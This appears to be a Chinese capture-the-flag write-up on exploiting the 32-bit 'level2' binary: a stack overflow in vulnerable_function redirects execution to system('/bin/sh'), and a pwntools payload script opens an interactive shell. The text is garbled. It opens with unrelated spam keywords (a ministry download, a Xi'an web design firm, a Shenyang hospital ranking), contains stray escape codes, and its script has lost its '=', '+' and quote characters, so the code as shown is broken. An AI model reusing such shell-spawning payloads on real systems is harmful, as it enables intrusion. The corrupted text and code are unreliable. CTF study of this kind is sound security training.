建设部网站1667号下载,西安o2o网站设计公司,沈阳男科医院好排行,网页友情链接一、查看属性
首先还是必要的查看属性环节#xff1a;
可以知道该文件是一个x86架构下的32位小段ELF程序#xff0c;开启了栈不可执行#xff08;NX#xff09;保护#xff0c;ret2shellcode是不行的 简单执行可以看到有一个简单的输入后输出hello world 二、静态分析
…一、查看属性
首先还是必要的查看属性环节
可以知道该文件是一个x86架构下的32位小段ELF程序开启了栈不可执行NX保护ret2shellcode是不行的 简单执行可以看到有一个简单的输入后输出hello world 二、静态分析
主函数中必然调用了一个vulnerable_function()函数之后是调用system函数输出hello world主函数没有可以利用的点 我们进入vulnerable_function()中查看发现了一个read函数 但是该题目没有发现可以利用的函数类似system“/bin/sh”或者system“cat flag.txt”等函数所以我们需要使用32位程序利用栈传递参数的性质将“/bin/sh”放到栈中32位程序中的函数在调用时会在父函数中先将该函数的参数从右向左一次压入栈中之后压入父函数的ebp之后压入返回地址我们要覆盖的函数地址之后就call到了子函数中开始执行
我们现在程序中找有没有“/bin/sh”这个字符串 之后就可以构造payload了程序如下 from pwn import* io process(./level2) #io gdb.debug(./level2,break *804844b) elf ELF(./level2) binsh_addr 0x804a024 system_addr 0x8048320 payloada*(0x884)p32(system_addr)bbbbp32(binsh_addr) io.sendline(payload) io.interactive() 执行